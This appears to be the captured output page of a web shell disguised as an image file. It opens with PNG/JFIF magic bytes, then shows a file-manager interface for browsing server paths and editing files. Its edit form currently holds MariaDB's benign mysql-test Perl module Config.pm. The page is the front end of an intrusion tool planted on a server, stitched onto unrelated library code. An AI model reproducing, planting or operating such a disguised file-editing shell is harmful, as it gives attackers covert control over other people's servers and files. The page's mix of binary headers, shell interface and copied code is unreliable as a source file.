�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2F'>mysql-test</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2Flib%2F'>lib</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2Flib%2FMy%2F'>My</a>/</p><hr><h3>✏️ Editing: Config.pm</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'># -*- cperl -*-

# Copyright (c) 2007, 2010, Oracle and/or its affiliates
# 
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
# 
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335 USA

package My::Config::Option;

use strict;
use warnings;
use Carp;

# Define all MariaDB options that the user should be able to specify
# many times in the config file. Note that options must be written
# using &#039;-&#039; instead of &#039;_&#039; here!

my %multipart_options=
  (
   &quot;plugin-load-add&quot; =&gt; 1,
   &quot;optimizer-switch&quot; =&gt; 1,
);


sub new {
  my ($class, $option_name, $option_value)= @_;
  my $self= bless { name =&gt; $option_name,
		    value =&gt; $option_value
		  }, $class;
  return $self;
}


sub name {
  my ($self)= @_;
  return $self-&gt;{name};
}


sub value {
  my ($self)= @_;
  return $self-&gt;{value};
}

sub option {
  my ($self)= @_;
  my $name=  $self-&gt;{name};
  my $value= $self-&gt;{value};

  my $opt= $name;
  $opt= &quot;$name=$value&quot; if (defined $value);
  $opt= &quot;--$opt&quot; unless ($opt =~ /^--/);
  return $opt;
}

package My::Config::Group;

use strict;
use warnings;
use Carp;

sub new {
  my ($class, $group_name)= @_;
  my $self= bless { name =&gt; $group_name,
		    options =&gt; [],
		    options_by_name =&gt; {},
		  }, $class;
  return $self;
}


sub insert {
  my ($self, $option_name, $value, $if_not_exist)= @_;
  my $option= $self-&gt;option($option_name);
  if (defined($option) and !$if_not_exist) {
    $option-&gt;{value}= $value;
  }
  else {
    $option= My::Config::Option-&gt;new($option_name, $value);
    # Insert option in list
    push(@{$self-&gt;{options}}, $option);
    # Insert option in hash
    $self-&gt;{options_by_name}-&gt;{$option_name}= $option;
  }
  return $option;
}

sub remove {
  my ($self, $option_name)= @_;

  # Check that option exists
  my $option= $self-&gt;option($option_name);

  return undef unless defined $option;

  # Remove from the hash
  delete($self-&gt;{options_by_name}-&gt;{$option_name}) or croak;

  # Remove from the array
  @{$self-&gt;{options}}= grep { $_-&gt;name ne $option_name } @{$self-&gt;{options}};

  return $option;
}


sub options {
  my ($self)= @_;
  return @{$self-&gt;{options}};
}


sub name {
  my ($self)= @_;
  return $self-&gt;{name};
}

sub suffix {
  my ($self)= @_;
  # Everything in name from the last .
  my @parts= split(/\./, $self-&gt;{name});
  my $suffix= pop(@parts);
  return &quot;.$suffix&quot;;
}

sub after {
  my ($self, $prefix)= @_;
  die unless defined $prefix;

  # everything after $prefix
  my $name= $self-&gt;{name};
  if ($name =~ /^\Q$prefix\E(.*)$/)
  {
    return $1;
  }
  die &quot;Failed to extract the value after &#039;$prefix&#039; in $name&quot;;
}


sub split {
  my ($self)= @_;
  # Return an array with name parts
  return split(/\./, $self-&gt;{name});
}

#
# Return a specific option in the group
#
sub option {
  my ($self, $option_name)= @_;

  return $self-&gt;{options_by_name}-&gt;{$option_name};
}


#
# Return value for an option in the group, fail if it does not exist
#
sub value {
  my ($self, $option_name)= @_;
  my $option= $self-&gt;option($option_name);

  croak &quot;No option named &#039;$option_name&#039; in group &#039;$self-&gt;{name}&#039;&quot;
    if ! defined($option);

  return $option-&gt;value();
}

#
# Return value for an option if it exist
#
sub if_exist {
  my ($self, $option_name)= @_;
  my $option= $self-&gt;option($option_name);

  return undef if ! defined($option);

  return $option-&gt;value();
}

package My::Config::Group::ENV;
our @ISA=qw(My::Config::Group);

use strict;
use warnings;
use Carp;

sub new {
  my ($class, $group_name)= @_;
  bless My::Config::Group-&gt;new($group_name), $class;
}

#
# Return value for an option in the group, fail if it does not exist
#
sub value {
  my ($self, $option_name)= @_;
  my $option= $self-&gt;option($option_name);

  if (! defined($option)) {
    my $value= $ENV{$option_name};
    $option= My::Config::Option-&gt;new($option_name, $value);
  }
  return $option-&gt;value();
}

package My::Config::Group::OPT;
our @ISA=qw(My::Config::Group);

use strict;
use warnings;
use Carp;

sub new {
  my ($class, $group_name)= @_;
  bless My::Config::Group-&gt;new($group_name), $class;
}

sub options {
  my ($self)= @_;
  ()
}

sub value {
  my ($self, $option_name)= @_;
  my $option= $self-&gt;option($option_name);

  croak &quot;No option named &#039;$option_name&#039; in group &#039;$self-&gt;{name}&#039;&quot;
    if ! defined($option);

  return $option-&gt;value()-&gt;();
}

package My::Config;

use strict;
use warnings;
use Carp;
use IO::File;
use File::Basename;

#
# Constructor for My::Config
# - represents a my.cnf config file
#
# Array of arrays
#
sub new {
  my ($class, $path)= @_;
  my $group_name= undef;

  my $self= bless { groups =&gt; [
      My::Config::Group::ENV-&gt;new(&#039;ENV&#039;),
      My::Config::Group::OPT-&gt;new(&#039;OPT&#039;),
    ] }, $class;
  my $F= IO::File-&gt;new($path, &quot;&lt;&quot;)
    or croak &quot;Could not open &#039;$path&#039;: $!&quot;;

  while (  my $line= &lt;$F&gt; ) {
    chomp($line);
    # Remove any trailing CR from Windows edited files
    $line=~ s/\cM$//;

    # [group]
    if ( $line =~ /^\[(.*)\]/ ) {
      # New group found
      $group_name= $1;
      #print &quot;group: $group_name\n&quot;;

      $self-&gt;insert($group_name, undef, undef);
    }

    # Magic #! comments
    elsif ( $line =~ /^(#\!\S+)(?:\s*(.*?)\s*)?$/) {
      my ($magic, $arg)= ($1, $2);
      croak &quot;Found magic comment &#039;$magic&#039; outside of group&quot;
	unless $group_name;

      #print &quot;$magic\n&quot;;
      $self-&gt;insert($group_name, $magic, $arg);
    }

    # Empty lines
    elsif ( $line =~ /^$/ ) {
      # Skip empty lines
      next;
    }

    # !include &lt;filename&gt;
    elsif ( $line =~ /^\!include\s*(.*?)\s*$/ ) {
      my $include_file_name= dirname($path).&quot;/&quot;.$1;

      # Check that the file exists relative to path of first config file
      if (! -f $include_file_name){
	# Try to include file relativ to current dir
	$include_file_name= $1;
      }
      croak &quot;The include file &#039;$include_file_name&#039; does not exist&quot;
	unless -f $include_file_name;

      $self-&gt;append(My::Config-&gt;new($include_file_name));
    }

    # &lt;option&gt;
    elsif ( $line =~ /^(#?[\w-]+)\s*$/ ) {
      my $option= $1;

      croak &quot;Found option &#039;$option&#039; outside of group&quot;
	unless $group_name;

      #print &quot;$option\n&quot;;
      $self-&gt;insert($group_name, $option, undef);
    }

    # &lt;option&gt;=&lt;value&gt;
    elsif ( $line =~ /^(#?[\w-]+)\s*=\s*(.*?)\s*$/ ) {
      my $option= $1;
      my $value= $2;

      croak &quot;Found option &#039;$option=$value&#039; outside of group&quot;
	unless $group_name;

      #print &quot;$option=$value\n&quot;;
      $self-&gt;insert($group_name, $option, $value);
    }

    # Comments
    elsif ( $line =~ /^#/ || $line =~ /^;/) {
      # Skip comment
      next;
    }
    # Correctly process Replication Filter when they are defined
    # with connection name.
    elsif ( $line =~ /^([\w]+.[\w]+)\s*=\s*(.*)\s*/){
       my $option= $1;
       my $value= $2;
       $self-&gt;insert($group_name, $option, $value);
    }
    else {
      croak &quot;Unexpected line &#039;$line&#039; found in &#039;$path&#039;&quot;;
    }
  }
  undef $F;			# Close the file

  return $self;
}

#
# Insert a new group if it does not already exist
# and add option if defined
#
sub insert {
  my ($self, $group_name, $option, $value, $if_not_exist)= @_;
  my $group;

  # Create empty array for the group if it doesn&#039;t exist
  if ( !$self-&gt;group_exists($group_name) ) {
    $group= $self-&gt;_group_insert($group_name);
  }
  else {
    $group= $self-&gt;group($group_name);
  }

  if ( defined $option ) {
    #print &quot;option: $option, value: $value\n&quot;;
    my $tmp_option= $option;
    $tmp_option =~ s/_/-/g;

    # If the option is an option that one can specify many times, always add
    $if_not_exist= 1 if ($multipart_options{$tmp_option});

    # Add the option to the group
    $group-&gt;insert($option, $value, $if_not_exist);
  }
  return $group;
}

#
# Remove a option, given group and option name
#
sub remove {
  my ($self, $group_name, $option_name)= @_;
  my $group= $self-&gt;group($group_name);

  croak &quot;group &#039;$group_name&#039; does not exist&quot;
    unless defined($group);

  $group-&gt;remove($option_name) or
    croak &quot;option &#039;$option_name&#039; does not exist&quot;;
}



#
# Check if group with given name exists in config
#
sub group_exists {
  my ($self, $group_name)= @_;

  foreach my $group ($self-&gt;groups()) {
    return 1 if $group-&gt;{name} eq $group_name;
  }
  return 0;
}


#
# Insert a new group into config
#
sub _group_insert {
  my ($self, $group_name)= @_;
  caller eq __PACKAGE__ or croak;

  # Check that group does not already exist
  croak &quot;Group already exists&quot; if $self-&gt;group_exists($group_name);

  my $group= My::Config::Group-&gt;new($group_name);
  push(@{$self-&gt;{groups}}, $group);
  return $group;
}


#
# Append a configuration to current config
#
sub append {
  my ($self, $from)= @_;

  foreach my $group ($from-&gt;groups()) {
    foreach my $option ($group-&gt;options()) {
      $self-&gt;insert($group-&gt;name(), $option-&gt;name(), $option-&gt;value());
    }

  }
}


#
# Return a list with all the groups in config
#
sub groups {
  my ($self)= @_;
  return ( @{$self-&gt;{groups}} );
}


#
# Return a list with &quot;real&quot; groups in config, those
# that should be written to a my.cnf file, those that contain options.
# Same as groups() but without auto-generated groups like ENV or OPT.
#
sub option_groups {
  my ($self)= @_;
  return ( grep { ref $_ eq &#039;My::Config::Group&#039; } @{$self-&gt;{groups}} );
}


#
# Return a list of all the groups in config
# starting with the given string
#
sub like {
  my ($self, $prefix)= @_;
  return ( grep ( $_-&gt;{name} =~ /^$prefix/, $self-&gt;groups()) );
}


#
# Return the first group in config
# starting with the given string
#
sub first_like {
  my ($self, $prefix)= @_;
  return ($self-&gt;like($prefix))[0];
}


#
# Return a specific group in the config
#
sub group {
  my ($self, $group_name)= @_;

  foreach my $group ( $self-&gt;groups() ) {
    return $group if $group-&gt;{name} eq $group_name;
  }
  return undef;
}


#
# Return a list of all options in a specific group in the config
#
sub options_in_group {
  my ($self, $group_name)= @_;

  my $group= $self-&gt;group($group_name);
  return () unless defined $group;
  return $group-&gt;options();
}


#
# Return a value given group and option name
#
sub value {
  my ($self, $group_name, $option_name)= @_;
  my $group= $self-&gt;group($group_name);

  croak &quot;group &#039;$group_name&#039; does not exist&quot;
    unless defined($group);

  my $option= $group-&gt;option($option_name);
  croak &quot;option &#039;$option_name&#039; does not exist&quot;
    unless defined($option);

  return $option-&gt;value();
}


#
# Check if an option exists
#
sub exists {
  my ($self, $group_name, $option_name)= @_;
  my $group= $self-&gt;group($group_name);

  croak &quot;group &#039;$group_name&#039; does not exist&quot;
    unless defined($group);

  my $option= $group-&gt;option($option_name);
  return defined($option);
}

1;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2Flib%2FMy'>🔙 Back</a></p>